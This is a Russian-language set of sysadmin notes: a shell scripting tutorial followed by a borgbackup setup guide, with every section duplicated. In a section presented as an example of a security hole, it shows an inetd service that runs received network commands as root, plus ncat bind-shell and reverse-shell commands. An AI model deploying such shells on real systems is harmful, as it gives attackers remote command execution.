Примеры подстановки переменной:

a="Hello"

b=$a

echo $b

Пример с подстановкой переменно и работы одинарной кавычки

Одинарные кавычки всегда передают значение как есть, то есть шелл проигнорирует переменную.

b='$a World'

echo $b

Пример а если мы всё-таки хотим передать переменную:

На помощь приходят двойные кавычки:

b="$a World"

echo $b

Экранирование(слеш):

Слеш отменяет действие многих спец символов.

b=$a\ world

echo $b

b=\$a\ World

echo $b

b=$aWorld

echo $b

b=${a}World

echo $a

echo $b

Значения переменных рекомендуется брать в фигурные скобки.

b=${a}World

echo $a

echo $b

Арифметика

!!! шелл оперирует переменными окружениями
!!! Арифметики не будет при таких записях:
a=3+6
echo $a

a=222
b=333

c=${a}${b}
echo $c

c=${a}+${b}
echo $c

!!! Арифметике быть!
Для арифметических действий используется конструкция из скобок $(( выражение ))
a=$((3+6))
a=$(($a*6))

А если сделать вот так:
c=((${a}+${b}))
c=$((${a}+${b}))
echo $c

Программа для арифметики expr:
a=1
a=$(expr $a + 1)
echo $a

!!! шелл оперирует переменными окружениями

!!! Арифметики не будет при таких записях:

a=3+6

echo $a

a=222

b=333

c=${a}${b}

echo $c

c=${a}+${b}

echo $c

!!! Арифметике быть!

Для арифметических действий используется конструкция из скобок $(( выражение ))

a=$((3+6))

a=$(($a*6))

А если сделать вот так:

c=((${a}+${b}))

c=$((${a}+${b}))

echo $c

Программа для арифметики expr:

a=1

a=$(expr $a + 1)

echo $a

Применение переменных с программами:

` - обратный апостроф ( не путать с одинарной кавычкой)
` - служит для выполнения команды

`команда` - выполнится команда внутри апострофов
$(команда) - ведет себя аналогично при использовании обратного апострофа (`)

dir='pwd'
echo $dir

d=$(date)
echo $d

x=`date '+%Y.%m.%d'`
echo $x

z=$(date '+%Y.%m.%d')
echo $z

c=`ps -uaxf | grep sshd |grep -v grep`
echo $c


сгенерировать случайное число
rnd=`jot -r 1 1 10`

Сгенерировать число от 1 до 10 
gen10=`seq 10`
echo $gen10

filecount=`ls/bin | wc -l`
echo $filecount

` - обратный апостроф ( не путать с одинарной кавычкой)

` - служит для выполнения команды

`команда` - выполнится команда внутри апострофов

$(команда) - ведет себя аналогично при использовании обратного апострофа (`)

dir='pwd'

echo $dir

d=$(date)

echo $d

x=`date '+%Y.%m.%d'`

echo $x

z=$(date '+%Y.%m.%d')

echo $z

c=`ps -uaxf | grep sshd |grep -v grep`

echo $c

сгенерировать случайное число

rnd=`jot -r 1 1 10`

Сгенерировать число от 1 до 10

gen10=`seq 10`

echo $gen10

filecount=`ls/bin | wc -l`

echo $filecount

Ввод пользователя

Программа read, ожидает ввода пользователя и сохраняет в переменную
read a
echo $a

Пример использования:
echo -n "Enter Name: "; read a; echo Hello "$a"

Программа read, ожидает ввода пользователя и сохраняет в переменную

read a

echo $a

Пример использования:

echo -n "Enter Name: "; read a; echo Hello "$a"

Подстановки в файл:

Речь идет о спец символах * ? и т.д.

echo /bin/c* - покажет все файлы начинающиеся на c

cat - можно редактировать и смотреть файлы (при использовании <>)

file - команда позволяет определить тип файла, что бы случайно не открыть бинарный файл

Речь идет о спец символах * ? и т.д.

echo /bin/c* - покажет все файлы начинающиеся на c

cat - можно редактировать и смотреть файлы (при использовании <>)

file - команда позволяет определить тип файла, что бы случайно не открыть бинарный файл

Чтение переменных с исключением

0. Пример исключаем суффикс sample при выводе переменной i
i=sip.conf.sample

echo $i
echo ${i}
echo ${i%.sample}

1. Пример исключить (GET /) при выводе переменной i
i='GET /index.html'
echo ${i#GET /}

0. Пример исключаем суффикс sample при выводе переменной i

i=sip.conf.sample

echo $i

echo ${i}

echo ${i%.sample}

1. Пример исключить (GET /) при выводе переменной i

i='GET /index.html'

echo ${i#GET /}

Удаление переменной

unset CLICOLOR
unset EDITOR
unset http_proxy

unset CLICOLOR

unset EDITOR

unset http_proxy

Объединение команд (;)

echo -n "Enter Name: "; read a; echo Hello "$a"
sleep 3; echo -e "\007"

1 2	echo -n "Enter Name: "; read a; echo Hello "$a" sleep 3; echo -e "\007"

Последовательные команды в текстовом файле

Пример файла:
vim 1.txt
---------
echo -n "Enter Name: "
read p
echo Hello "$p"
---------

Пример выполнения 1:
sh 1.txt - запасаем новый шелл и выполняем файл 1.txt

Пример выполнения 2:
. 1.txt - точка говорит выполнить в текущем контексте шелла файл 1.txt

Пример файла:

vim 1.txt

---------

echo -n "Enter Name: "

read p

echo Hello "$p"

---------

Пример выполнения 1:

sh 1.txt - запасаем новый шелл и выполняем файл 1.txt

Пример выполнения 2:

. 1.txt - точка говорит выполнить в текущем контексте шелла файл 1.txt

Последовательные команды в выполняемом файле

Пример файла f2.sh:
-------------
#!/bin/sh
echo -n "Enter Name: "
read p
echo Hello "$p !!!"
-------------

Выполнение:
chmod u+x f2.sh - даем права на выполнения файла

f2.sh - выполняем файл при условии если он расположен в PATH

/home/user/f2.sh
./f2.sh


sh f2.sh
. f2.sh

Пример файла f2.sh:

-------------

#!/bin/sh

echo -n "Enter Name: "

read p

echo Hello "$p !!!"

-------------

Выполнение:

chmod u+x f2.sh - даем права на выполнения файла

f2.sh - выполняем файл при условии если он расположен в PATH

/home/user/f2.sh

./f2.sh

sh f2.sh

. f2.sh

Функции:

function ()

1	function ()

Специальные символы

$? - коды возврата

[ - это программа сравнения, и если выполнить (which [) мы увидим что программа называется test и она возвращает 1 или 0, код возврата можно увидеть по echo $?
man [
test 6 -lt 3
echo $?


$1 - аргумент запуска программы 
$2 - аргумент запуска программы
$3  - аргумент запуска программы

Пример работы:
agr.sh - создаем скрипт
--------------
echo $2 $3 $1
--------------

Ну и проверяем: 
. agr.sh aaa bbb ccc

&& - если программа этого символом && выполнилась успешно выполняй следующую после этого символа &&


#  - комментарий


Операторы равенства:
eq  равно (=) (Equals)
ne  не равно (!=) (Not equal)

Операторы диапазона:
gt больше (>) (Greater than)
lt меньше (<) (Less than)
ge больше или равно (=>) (Equal or greater than)
le меньше или равно (=<) (Equal or less than)


Во многих языках программирования двоеточие (:) означает истина (True) и возвращает 0

Задать символ разделитель с помощью IFS
IFS=:

$? - коды возврата

[ - это программа сравнения, и если выполнить (which [) мы увидим что программа называется test и она возвращает 1 или 0, код возврата можно увидеть по echo $?

man [

test 6 -lt 3

echo $?

$1 - аргумент запуска программы

$2 - аргумент запуска программы

$3 - аргумент запуска программы

Пример работы:

agr.sh - создаем скрипт

--------------

echo $2 $3 $1

--------------

Ну и проверяем:

. agr.sh aaa bbb ccc

&& - если программа этого символом && выполнилась успешно выполняй следующую после этого символа &&

# - комментарий

Операторы равенства:

eq равно (=) (Equals)

ne не равно (!=) (Not equal)

Операторы диапазона:

gt больше (>) (Greater than)

lt меньше (<) (Less than)

ge больше или равно (=>) (Equal or greater than)

le меньше или равно (=<) (Equal or less than)

Во многих языках программирования двоеточие (:) означает истина (True) и возвращает 0

Задать символ разделитель с помощью IFS

IFS=:

Целочисленный цикл while пример на ping

0. Пример в файле ex2.sh:
---------------
# Пример цикла выполнять до
i=1
while [ $i -lt 254 ]
do
  #test $i = 50 && continue 
  ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i
  i=$(($i + 1))
done

---------------
Запуск:
ex2.sh 192.168.1



1. Пример в файле ex3.sh:
---------------
# Пример цикла выполнять до
i=1
while :
do
  ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i
  i=$(($i + 1))
  test $i -eq 254 && break # прервет цикл
done
---------------

0. Пример в файле ex2.sh:

---------------

# Пример цикла выполнять до

i=1

while [ $i -lt 254 ]

#test $i = 50 && continue

ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i

i=$(($i + 1))

done

---------------

Запуск:

ex2.sh 192.168.1

1. Пример в файле ex3.sh:

---------------

# Пример цикла выполнять до

i=1

while :

ping -c 1 -W 1 $1.$i > /dev/null 2>&1 && echo $1.$i

i=$(($i + 1))

test $i -eq 254 && break # прервет цикл

done

---------------

Примеры цикла for:

Пример показать все файлы заканчивающийся на (*.txt) :
for i in *.txt; do echo $i; done

Пример массового переименования:
for in in *sample; do cp $i ${i%.sample}; done

Пример что бы показать что списком может быть что угодно: 
for i in `ps -aux | awk '{print $1,$11}'`; do echo $i; done

Пример создаем пустые файлы *.txt:
for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:
for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:
for i in $(for((i=1; i<11; i++)) do echo $i; done); do echo > $i.txt; done

Пример создания списка ip:
for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

Пример использования списка ip и применения команды ping:
for pingz in $(cut ip_files.txt); do ping -c1  $pingz ; done

Пример как показать все crontab всех пользователей: 
for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

Пример вытаскиваем первое поле из файла и подставляем перед ним user:
for i in `cut -d: -f1 /etc/passwd`; do echo user $i; done

Пример перемещения файлов используя список:
for x in catalog director messages user fileset client job jobdefs pool schedule storage use; do  mv /etc/bareos/bareos-dir.d/${x} tmp/bareos-dir.d/; done

Пример показать все файлы заканчивающийся на (*.txt) :

for i in *.txt; do echo $i; done

Пример массового переименования:

for in in *sample; do cp $i ${i%.sample}; done

Пример что бы показать что списком может быть что угодно:

for i in `ps -aux | awk '{print $1,$11}'`; do echo $i; done

Пример создаем пустые файлы *.txt:

for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:

for i in 1 2 3 4 5 6 7 8 9 10; do touch $i.txt; done

Пример создаем пустые файлы *.txt:

for i in $(for((i=1; i<11; i++)) do echo $i; done); do echo > $i.txt; done

Пример создания списка ip:

for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

Пример использования списка ip и применения команды ping:

for pingz in $(cut ip_files.txt); do ping -c1 $pingz ; done

Пример как показать все crontab всех пользователей:

for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

Пример вытаскиваем первое поле из файла и подставляем перед ним user:

for i in `cut -d: -f1 /etc/passwd`; do echo user $i; done

Пример перемещения файлов используя список:

for x in catalog director messages user fileset client job jobdefs pool schedule storage use; do mv /etc/bareos/bareos-dir.d/${x} tmp/bareos-dir.d/; done

Чтение из файлов, парсинг файлов, while, for:

Пример использования IFS, перенаправления в read
------------------------
#!/bin/sh
IFS=:
while read a b c d e f g
do 
   echo "$a $g"
done < /etc/passwd
------------------------



Пример с использованием for
------------------------
#!/bin/sh
for i in `cut -d: -f1 /etc/passwd`
do
  echo user $i
done
------------------------

Пример использования IFS, перенаправления в read

------------------------

#!/bin/sh

IFS=:

while read a b c d e f g

echo "$a $g"

done < /etc/passwd

------------------------

Пример с использованием for

------------------------

#!/bin/sh

for i in `cut -d: -f1 /etc/passwd`

echo user $i

done

------------------------

Пример for, while

!!! ls создается список файлов
!!! echo и cat, на stdout выводится список файлов и показывается содержимое файла 
Пример 1:
for i in `ls` ; do echo -e "\\n#### $i \\n" && cat $i ; done 
Пример 2:
ls * | while read file ; do echo "$file" && cat "$file" ; done

!!! ls создается список файлов

!!! echo и cat, на stdout выводится список файлов и показывается содержимое файла

Пример 1:

for i in `ls` ; do echo -e "\\n#### $i \\n" && cat $i ; done

Пример 2:

ls * | while read file ; do echo "$file" && cat "$file" ; done

Пример (while read LINE), удаление файлов:

!!!find /dir/dir2/dir3 -type f -mtime +1 -name "*.broken" -delete >/dev/null 2>/dev/null - ищем файлы в каталоге (/dir/dir2/dir3) в имени которых встречается "*.broken" и молча их удаляем (>/dev/null 2>/dev/null) 
!!!find /dir/dir2/ -mindepth 1 -maxdepth 1 -ctime +5 -type d -delete - ищем каталоги в  каталоге (/dir/dir2/) старше 5 дней и удаляем их


Пример скрипта:
/usr/bin/find /dir/dir2/dir3 -mindepth 1 -maxdepth 1 -ctime +2 -type d | sort -n | head -n-3 | while read LINE; do
    echo "[/dir1/dir2/dir3] ${LINE}"
    rm -rf "${LINE}"
done

!!!find /dir/dir2/dir3 -type f -mtime +1 -name "*.broken" -delete >/dev/null 2>/dev/null - ищем файлы в каталоге (/dir/dir2/dir3) в имени которых встречается "*.broken" и молча их удаляем (>/dev/null 2>/dev/null)

!!!find /dir/dir2/ -mindepth 1 -maxdepth 1 -ctime +5 -type d -delete - ищем каталоги в каталоге (/dir/dir2/) старше 5 дней и удаляем их

Пример скрипта:

/usr/bin/find /dir/dir2/dir3 -mindepth 1 -maxdepth 1 -ctime +2 -type d | sort -n | head -n-3 | while read LINE; do

echo "[/dir1/dir2/dir3] ${LINE}"

rm -rf "${LINE}"

done

Пример дыры в безопасности:

!!! для работы понадобится openbsd-inetd (суперсервер inetd)
!!! настроить его
!!! номер_порта stream tcp nowait имя_пользователя /путь_скрипта имя_скрипта
!!! 1234 stream tcp nowait root /root/cmd.sh smd.sh 

vim cmd.sh
----------------
#!/bin/sh
while read cmd
do 
$cmd
done
----------------



В Ncat
Для создания шелла на удалённом компьютере:
ncat -l -e "/bin/bash" [ПОРТ]
Для подключения к нему с локального компьютера:
ncat [IP] [ПОРТ]

Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:
ncat -l [ПОРТ]
Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:
ncat -e "/bin/bash" [IP] [ПОРТ]

!!! для работы понадобится openbsd-inetd (суперсервер inetd)

!!! настроить его

!!! номер_порта stream tcp nowait имя_пользователя /путь_скрипта имя_скрипта

!!! 1234 stream tcp nowait root /root/cmd.sh smd.sh

vim cmd.sh

----------------

#!/bin/sh

while read cmd

$cmd

done

----------------

В Ncat

Для создания шелла на удалённом компьютере:

ncat -l -e "/bin/bash" [ПОРТ]

Для подключения к нему с локального компьютера:

ncat [IP] [ПОРТ]

Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:

ncat -l [ПОРТ]

Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:

ncat -e "/bin/bash" [IP] [ПОРТ]

backup \ crontab \ tar \ zip \ архивация разное

borgbackup / backup / borg debian 10 / без шифрования репозитория

Автор записи Автор: Evgeny Yakovlev
Дата записи 2021/05/08

Установка

apt install borgbackup

1	apt install borgbackup

Часть первая. Пример работы локально:

Архивировать будем каталог пользователей:
/home

На сервере бэкапов архивы будем хранить в каталоге: 
/mnt/backups/

Создадим структуру каталогов на сервере:
mkdir /mnt/backups/

Создадим для каталога /home отдельный репозиторий, без шифрования данных:
borg init --encryption=none  /mnt/backups/Myrepo

borg info /mnt/backups/home/ - смотрим информацию об репозитории home

borg create /mnt/backups/Myrepo::xxx /home - пробуем выполнить архивацию
borg create /Куда/делаем/архив::Имя_архива /что/архивируем

borg info /mnt/backups/Myrepo - смотрим информацию об репозитории home
borg list /mnt/backups/Myrepo - смотрим какие у нас есть архивы


Пример crontab:
0 1 * * * borg create /mnt/backups/Myrepo::xxx /home

Архивировать будем каталог пользователей:

/home

На сервере бэкапов архивы будем хранить в каталоге:

/mnt/backups/

Создадим структуру каталогов на сервере:

mkdir /mnt/backups/

Создадим для каталога /home отдельный репозиторий, без шифрования данных:

borg init --encryption=none /mnt/backups/Myrepo

borg info /mnt/backups/home/ - смотрим информацию об репозитории home

borg create /mnt/backups/Myrepo::xxx /home - пробуем выполнить архивацию

borg create /Куда/делаем/архив::Имя_архива /что/архивируем

borg info /mnt/backups/Myrepo - смотрим информацию об репозитории home

borg list /mnt/backups/Myrepo - смотрим какие у нас есть архивы

Пример crontab:

0 1 * * * borg create /mnt/backups/Myrepo::xxx /home

Часть вторая. Пример работы по сети.

== Серверная часть ==
0. На сервере создаем пользователя borg, без пароля, авторизация будет происходить по ключу
adduser --home /mnt/backups --disabled-password borg

1. На сервере поправим две опции в конфиге ssh-сервера 
nano /etc/ssh/sshd_config
-------------------------
ClientAliveInterval 10
ClientAliveCountMax 30
-------------------------
sudo systemctl restart sshd - перезапустим ssh-сервер


2. На сервере зайдем в сеанс пользователя borg для подготовки ssh
sudo -i -u borg - зашли в сеанс
mkdir .ssh - создали каталог
touch .ssh/authorized_keys - создали файл
chmod 700 .ssh - назначили права на каталог
chmod 600 .ssh/authorized_keys - назначили права на файл
borg init -e none testrepo - создадим тестовый репозиторий с именем testrepo

== Клиентская часть ==
0. На клиенте
У пользователя, от имени которого будет запускаться скрипт, должен быть ssh-ключ. 
Если его нет, то генерируем его
ssh-keygen - генерируем ключ

1. Теперь нужно настроить отправку файлов бекапа на сервер. 
borg занимается только хранением файлов - их подготовка ваша задача. 
Создадим скрипт backup.sh, который будет готовить данные и отправлять их в бекап.
nano backup.sh
--------------
#!/bin/bash
# backup.foo - имя сервера для бэкапов (может быть и IP)
# testrepo - репозиторий
# `date +%Y%m%d_%H%M%S` - подстановка даты
# /home - каталог который мы бэкапим
borg create -C lz4 borg@backup.foo:testrepo::home_`date +%Y%m%d_%H%M%S` /home
--------------

== Серверная часть ==
0. Снова заходим в сеанс пользователя borg
sudo -i -u borg

1. редактируем файл .ssh/authorized_keys, добавляем строку
nano .ssh/authorized_keys
-------------------------
command="/usr/bin/borg serve --restrict-to-repository /mnt/backups/testrepo --append-only",restrict <user key>
-------------------------

В файле:
# --restrict-to-repository /mnt/backups/testrepo - репозиторий для удаленного пользователя
# --append-only - разрешено только удаление 
# restrict <user key> - публичный ключ клиента 

# Дополнительные 
restrict,no-agent-forwarding,no-port-forwarding,no-pty,no-user-rc,no-x11-forwarding

== Серверная часть ==

0. На сервере создаем пользователя borg, без пароля, авторизация будет происходить по ключу

adduser --home /mnt/backups --disabled-password borg

1. На сервере поправим две опции в конфиге ssh-сервера

nano /etc/ssh/sshd_config

-------------------------

ClientAliveInterval 10

ClientAliveCountMax 30

-------------------------

sudo systemctl restart sshd - перезапустим ssh-сервер

2. На сервере зайдем в сеанс пользователя borg для подготовки ssh

sudo -i -u borg - зашли в сеанс

mkdir .ssh - создали каталог

touch .ssh/authorized_keys - создали файл

chmod 700 .ssh - назначили права на каталог

chmod 600 .ssh/authorized_keys - назначили права на файл

borg init -e none testrepo - создадим тестовый репозиторий с именем testrepo

== Клиентская часть ==

0. На клиенте

У пользователя, от имени которого будет запускаться скрипт, должен быть ssh-ключ.

Если его нет, то генерируем его

ssh-keygen - генерируем ключ

1. Теперь нужно настроить отправку файлов бекапа на сервер.

borg занимается только хранением файлов - их подготовка ваша задача.

Создадим скрипт backup.sh, который будет готовить данные и отправлять их в бекап.

nano backup.sh

--------------

#!/bin/bash

# backup.foo - имя сервера для бэкапов (может быть и IP)

# testrepo - репозиторий

# `date +%Y%m%d_%H%M%S` - подстановка даты

# /home - каталог который мы бэкапим

borg create -C lz4 borg@backup.foo:testrepo::home_`date +%Y%m%d_%H%M%S` /home

--------------

== Серверная часть ==

0. Снова заходим в сеанс пользователя borg

sudo -i -u borg

1. редактируем файл .ssh/authorized_keys, добавляем строку

nano .ssh/authorized_keys

-------------------------

command="/usr/bin/borg serve --restrict-to-repository /mnt/backups/testrepo --append-only",restrict <user key>

-------------------------

В файле:

# --restrict-to-repository /mnt/backups/testrepo - репозиторий для удаленного пользователя

# --append-only - разрешено только удаление

# restrict <user key> - публичный ключ клиента

# Дополнительные

restrict,no-agent-forwarding,no-port-forwarding,no-pty,no-user-rc,no-x11-forwarding

Примеры ручной очистки репозиториев

# Хранить 7 архивов на конец дня и 4 дополнительных архива на конец недели.
# Выполните пробный прогон(--dry-run), фактически ничего не удаляя.
$ borg prune -v --list --dry-run --keep-daily=7 --keep-weekly=4 /path/to/repo

# То же, что и выше, но применяется только к именам архивов, начинающимся с имени хоста
# машины, за которой следует символ "-":
$ borg prune -v --list --keep-daily=7 --keep-weekly=4 --prefix='{hostname}-' /path/to/repo

# Хранить 7 архивов на конец дня, 4 дополнительных архива на конец недели,
# и архив на конец месяца для каждого месяца:
$ borg prune -v --list --keep-daily=7 --keep-weekly=4 --keep-monthly=-1 /path/to/repo

# Хранить все резервные копии за последние 10 дней, 4 дополнительных архива на конец недели,
# и архив на конец месяца для каждого месяца:
$ borg prune -v --list --keep-within=10d --keep-weekly=4 --keep-monthly=-1 /path/to/repo

--keep-within INTERVAL	храним все архивы в течение указанного промежутка времени
--keep-last, --keep-secondly 	сколько последних копий хранить
--keep-minutely 	сколько поминутных архивов хранить
-H, --keep-hourly 	сколько почасовых архивов хранить
-d, --keep-daily 	сколько ежедневны архивов хранить
-w, --keep-weekly 	сколько еженедельных архивов хранить
-m, --keep-monthly 	сколько ежемесячных архивов хранить
-y, --keep-yearly 	сколько ежегодных архивов хранить

# Хранить последние 14 копий с интервалом в день, 8 копий с интервалом в неделю и 12 копий с интервалом в месяц
borg prune -v --list --keep-daily 14 --keep-weekly 8 --keep-monthly 12 /path/to/repo

# пример в crond
cat /etc/cron.d/borgprune 
# prune backup
0 4 * * * borg /usr/bin/borg prune --force -v --list --keep-daily 10 --keep-weekly 5 --keep-monthly 8 /mnt/backups/eyh

# Хранить 7 архивов на конец дня и 4 дополнительных архива на конец недели.

# Выполните пробный прогон(--dry-run), фактически ничего не удаляя.

$ borg prune -v --list --dry-run --keep-daily=7 --keep-weekly=4 /path/to/repo

# То же, что и выше, но применяется только к именам архивов, начинающимся с имени хоста

# машины, за которой следует символ "-":

$ borg prune -v --list --keep-daily=7 --keep-weekly=4 --prefix='{hostname}-' /path/to/repo

# Хранить 7 архивов на конец дня, 4 дополнительных архива на конец недели,

# и архив на конец месяца для каждого месяца:

$ borg prune -v --list --keep-daily=7 --keep-weekly=4 --keep-monthly=-1 /path/to/repo

# Хранить все резервные копии за последние 10 дней, 4 дополнительных архива на конец недели,

# и архив на конец месяца для каждого месяца:

$ borg prune -v --list --keep-within=10d --keep-weekly=4 --keep-monthly=-1 /path/to/repo

--keep-within INTERVAL храним все архивы в течение указанного промежутка времени

--keep-last, --keep-secondly сколько последних копий хранить

--keep-minutely сколько поминутных архивов хранить

-H, --keep-hourly сколько почасовых архивов хранить

-d, --keep-daily сколько ежедневны архивов хранить

-w, --keep-weekly сколько еженедельных архивов хранить

-m, --keep-monthly сколько ежемесячных архивов хранить

-y, --keep-yearly сколько ежегодных архивов хранить

# Хранить последние 14 копий с интервалом в день, 8 копий с интервалом в неделю и 12 копий с интервалом в месяц

borg prune -v --list --keep-daily 14 --keep-weekly 8 --keep-monthly 12 /path/to/repo

# пример в crond

cat /etc/cron.d/borgprune

# prune backup

0 4 * * * borg /usr/bin/borg prune --force -v --list --keep-daily 10 --keep-weekly 5 --keep-monthly 8 /mnt/backups/eyh

Авто очистка сервера borg

В разработке.

1	В разработке.

Откат команд удаления, удалённых в режиме —append-only

Список транзакций находится в файле transactions, в каталоге репозитория.

Например если мы видим вот такой лог

   transaction 1, UTC time 2016-03-31T15:53:27.383532
   transaction 5, UTC time 2016-03-31T15:53:52.588922
   transaction 11, UTC time 2016-03-31T15:54:23.887256
   transaction 12, UTC time 2016-03-31T15:55:54.022540
   transaction 13, UTC time 2016-03-31T15:55:55.472564

И выяснили, что последняя легитимная транзакция имеет номер 5, то нужно удалить все транзакции после 5.

Для этого в каталоге с репозиторием выполняем

   rm data/**/{6..13}
   borg delete --cache-only <имя репозитория>

Это действие вызовет предупреждение со стороны клиентов borg 
при следующем обращении к репозиторию и просьбу подтвердить продолжение.
Поэтому, если предполагается продолжить использование этого репозитория настроенными на него клиентами, 
то на всех нужно выполнить list репозитория и согласится использовать репозиторий. 
Либо на клиентах удалить файл (manifest-timestamp)
rm ~/.config/borg/security/REPOID/manifest-timestamp

Список транзакций находится в файле transactions, в каталоге репозитория.

Например если мы видим вот такой лог

transaction 1, UTC time 2016-03-31T15:53:27.383532

transaction 5, UTC time 2016-03-31T15:53:52.588922

transaction 11, UTC time 2016-03-31T15:54:23.887256

transaction 12, UTC time 2016-03-31T15:55:54.022540

transaction 13, UTC time 2016-03-31T15:55:55.472564

И выяснили, что последняя легитимная транзакция имеет номер 5, то нужно удалить все транзакции после 5.

Для этого в каталоге с репозиторием выполняем

rm data/**/{6..13}

borg delete --cache-only <имя репозитория>

Это действие вызовет предупреждение со стороны клиентов borg

при следующем обращении к репозиторию и просьбу подтвердить продолжение.

Поэтому, если предполагается продолжить использование этого репозитория настроенными на него клиентами,

то на всех нужно выполнить list репозитория и согласится использовать репозиторий.

Либо на клиентах удалить файл (manifest-timestamp)

rm ~/.config/borg/security/REPOID/manifest-timestamp

Извлечение и монтирование бекапов

Вы можете добавить добавить свой ssh-ключ для пользователя borg без опций --restrict-to-repository 
и --append-only, для управления репозиториями со своего рабочего места.

borg list borg@backup.foo:<репозиторий> - получить список бекапов в репозитории

borg list borg@backup.foo:<репозиторий>::<имя бекапа> - получить список файлов в бекапе

borg extract borg@backup.foo:<репозиторий>::<имя бекапа> [что извлекаем] - извлекаем весь бекап или его часть в текущий каталог

!!! самое интересное в borg
borg mount -o users borg@backup.foo:<репозиторий>::<имя бекапа> <точка монтирования> - монтируем бекап с помощью механизма FUSE
borg umount <точка монтирования> - отмонтируем командой

borg mount /path/to/repo /tmp/mymountpoint
borg umount /tmp/mymountpoint

borg mount /path/to/repo::root-2016-02-15 /tmp/mymountpoint
borg umount /tmp/mymountpoint

При монтировании могут возникнуть проблемы с правами доступа к файлам. 
В этомслучае можно смонтировать через sudo, переопределив команду ssh. 
В этом случае ходить по смонтированному бекапу также придется с помощью sudo
sudo borg mount -o users --rsh "ssh -i <ваш ключ>" borg@backup.foo:<репозиторий>::<имя бекапа> <точка монтирования>


При извлечении и монтировании можно исключить файлы по шаблону ключом --exclude
--exclude '/home/*/.cache/*
--exclude '/home/*/.tmp/*'

borg mount /path/to/repo /tmp/mymountpoint only/that/path

borg mount --exclude '...' /path/to/repo /tmp/mymountpoint

Вы можете добавить добавить свой ssh-ключ для пользователя borg без опций --restrict-to-repository

и --append-only, для управления репозиториями со своего рабочего места.

borg list borg@backup.foo:<репозиторий> - получить список бекапов в репозитории

borg list borg@backup.foo:<репозиторий>::<имя бекапа> - получить список файлов в бекапе

borg extract borg@backup.foo:<репозиторий>::<имя бекапа> [что извлекаем] - извлекаем весь бекап или его часть в текущий каталог

!!! самое интересное в borg

borg mount -o users borg@backup.foo:<репозиторий>::<имя бекапа> <точка монтирования> - монтируем бекап с помощью механизма FUSE

borg umount <точка монтирования> - отмонтируем командой

borg mount /path/to/repo /tmp/mymountpoint

borg umount /tmp/mymountpoint

borg mount /path/to/repo::root-2016-02-15 /tmp/mymountpoint

borg umount /tmp/mymountpoint

При монтировании могут возникнуть проблемы с правами доступа к файлам.

В этомслучае можно смонтировать через sudo, переопределив команду ssh.

В этом случае ходить по смонтированному бекапу также придется с помощью sudo

sudo borg mount -o users --rsh "ssh -i <ваш ключ>" borg@backup.foo:<репозиторий>::<имя бекапа> <точка монтирования>

При извлечении и монтировании можно исключить файлы по шаблону ключом --exclude

--exclude '/home/*/.cache/*

--exclude '/home/*/.tmp/*'

borg mount /path/to/repo /tmp/mymountpoint only/that/path

borg mount --exclude '...' /path/to/repo /tmp/mymountpoint

Официальный скрипт для borgbackup

###!!! https://borgbackup.readthedocs.io/en/stable/quickstart.html#a-step-by-step-example

#!/bin/sh

# Setting this, so the repo does not need to be given on the commandline:
export BORG_REPO=ssh://username@example.com:2022/~/backup/main

# See the section "Passphrase notes" for more infos.
export BORG_PASSPHRASE='XYZl0ngandsecurepa_55_phrasea&&123'

# some helpers and error handling:
info() { printf "\n%s %s\n\n" "$( date )" "$*" >&2; }
trap 'echo $( date ) Backup interrupted >&2; exit 2' INT TERM

info "Starting backup"

# Backup the most important directories into an archive named after
# the machine this script is currently running on:

borg create                         \
    --verbose                       \
    --filter AME                    \
    --list                          \
    --stats                         \
    --show-rc                       \
    --compression lz4               \
    --exclude-caches                \
    --exclude '/home/*/.cache/*'    \
    --exclude '/var/tmp/*'          \
                                    \
    ::'{hostname}-{now}'            \
    /etc                            \
    /home                           \
    /root                           \
    /var                            \

backup_exit=$?

info "Pruning repository"

# Use the `prune` subcommand to maintain 7 daily, 4 weekly and 6 monthly
# archives of THIS machine. The '{hostname}-' prefix is very important to
# limit prune's operation to this machine's archives and not apply to
# other machines' archives also:

borg prune                          \
    --list                          \
    --prefix '{hostname}-'          \
    --show-rc                       \
    --keep-daily    7               \
    --keep-weekly   4               \
    --keep-monthly  6               \

prune_exit=$?

# use highest exit code as global exit code
global_exit=$(( backup_exit > prune_exit ? backup_exit : prune_exit ))

if [ ${global_exit} -eq 0 ]; then
    info "Backup and Prune finished successfully"
elif [ ${global_exit} -eq 1 ]; then
    info "Backup and/or Prune finished with warnings"
else
    info "Backup and/or Prune finished with errors"
fi

exit ${global_exit}

###!!! https://borgbackup.readthedocs.io/en/stable/quickstart.html#a-step-by-step-example

#!/bin/sh

# Setting this, so the repo does not need to be given on the commandline:

export BORG_REPO=ssh://username@example.com:2022/~/backup/main

# See the section "Passphrase notes" for more infos.

export BORG_PASSPHRASE='XYZl0ngandsecurepa_55_phrasea&&123'

# some helpers and error handling:

info() { printf "\n%s %s\n\n" "$( date )" "$*" >&2; }

trap 'echo $( date ) Backup interrupted >&2; exit 2' INT TERM

info "Starting backup"

# Backup the most important directories into an archive named after

# the machine this script is currently running on:

borg create \

--verbose \

--filter AME \

--list \

--stats \

--show-rc \

--compression lz4 \

--exclude-caches \

--exclude '/home/*/.cache/*' \

--exclude '/var/tmp/*' \

::'{hostname}-{now}' \

/etc \

/home \

/root \

/var \

backup_exit=$?

info "Pruning repository"

# Use the `prune` subcommand to maintain 7 daily, 4 weekly and 6 monthly

# archives of THIS machine. The '{hostname}-' prefix is very important to

# limit prune's operation to this machine's archives and not apply to

# other machines' archives also:

borg prune \

--list \

--prefix '{hostname}-' \

--show-rc \

--keep-daily 7 \

--keep-weekly 4 \

--keep-monthly 6 \

prune_exit=$?

# use highest exit code as global exit code

